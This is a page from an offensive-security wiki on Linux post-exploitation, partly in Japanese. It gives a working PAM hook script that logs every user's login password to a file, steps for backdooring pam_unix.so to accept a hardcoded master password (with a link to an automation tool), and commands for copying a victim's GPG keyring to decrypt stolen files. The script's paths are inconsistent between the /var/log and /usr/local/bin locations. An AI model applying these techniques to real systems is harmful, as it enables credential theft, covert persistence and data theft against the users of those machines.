82 lines
5.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Linux Post-Exploitation
{{#include ../../banners/hacktricks-training.md}}
## Sniffing Logon Passwords with PAM
Let's configure a PAM module to log each password each user uses to login. If you don't know what is PAM check:
{{#ref}}
pam-pluggable-authentication-modules.md
{{#endref}}
**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. 以下は要約です:
**Technique Overview:**
Pluggable Authentication Modules (PAM)は、Unixベースのシステムでの認証管理に柔軟性を提供します。ログインプロセスをカスタマイズしてセキュリティを強化できますが、誤用されるとリスクにもなります。本要約は、PAMを用いてログイン資格情報を取得する手法と、その緩和策の概要を示します。
**Capturing Credentials:**
- `toomanysecrets.sh`という名前のbashスクリプトを作成し、ログイン試行を記録します。日付、ユーザー名`$PAM_USER`、パスワードstdin経由、およびリモートホストIP`$PAM_RHOST`)を`/var/log/toomanysecrets.log`に記録します。
- スクリプトを実行可能にし、`pam_exec.so`モジュールを使って静かに実行するオプションと認証トークンをスクリプトに公開するオプションを付けてPAMの設定`common-auth`)に組み込みます。
- この手法は、侵害されたLinuxホストがどのようにして資格情報を目立たずに記録するために悪用され得るかを示しています。
```bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
```
### Backdooring PAM
**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**。以下は要約です:
Pluggable Authentication Module (PAM) は、Linux 上でユーザー認証に使用されるシステムです。主要な概念は **username**, **password**, **service** の三つです。各サービスの設定ファイルは `/etc/pam.d/` に置かれ、認証は共有ライブラリによって処理されます。
**目的**: 実際のユーザーパスワードを迂回して、特定のパスワードで認証できるように PAM を改変すること。これは特に、パスワード検証のためにほとんどのサービスから include される `common-auth` ファイルで使われている `pam_unix.so` 共有ライブラリに焦点を当てています。
### Steps for Modifying `pam_unix.so`:
1. **Locate the Authentication Directive** in the `common-auth` file:
- ユーザーのパスワードを検証する行が `pam_unix.so` を呼び出しています。
2. **Modify Source Code**:
- `pam_unix_auth.c` のソースに、事前定義したパスワードが使われた場合にアクセスを許可する条件分岐を追加し、それ以外は通常の認証処理を続行するようにします。
3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory.
4. **Testing**:
- 事前定義したパスワードで login、ssh、sudo、su、screensaver など複数のサービスに対するアクセスが許可され、通常の認証処理には影響が出ないことを確認します。
> [!TIP]
> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
## Decrypting GPG loot via homedir relocation
暗号化された `.gpg` ファイルとユーザーの `~/.gnupg` フォルダpubring、private-keys、trustdbを見つけたが、GnuPG の homedir の権限やロックのせいで復号できない場合は、keyring を書き込み可能な場所にコピーしてそこを GPG home として使います。
これをやらないと典型的に出るエラー: "unsafe ownership on homedir", "failed to create temporary file", または "decryption failed: No secret key"GPG が元の homedir を読み書きできないため)。
Workflow:
```bash
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
```
秘密鍵の実体が `private-keys-v1.d` に存在する場合、GPGはパスフレーズを要求せずにアンロックおよび復号しますキーが保護されている場合は要求されます
## 参考文献
- [0xdf HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
- [GnuPG Manual Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)
{{#include ../../banners/hacktricks-training.md}}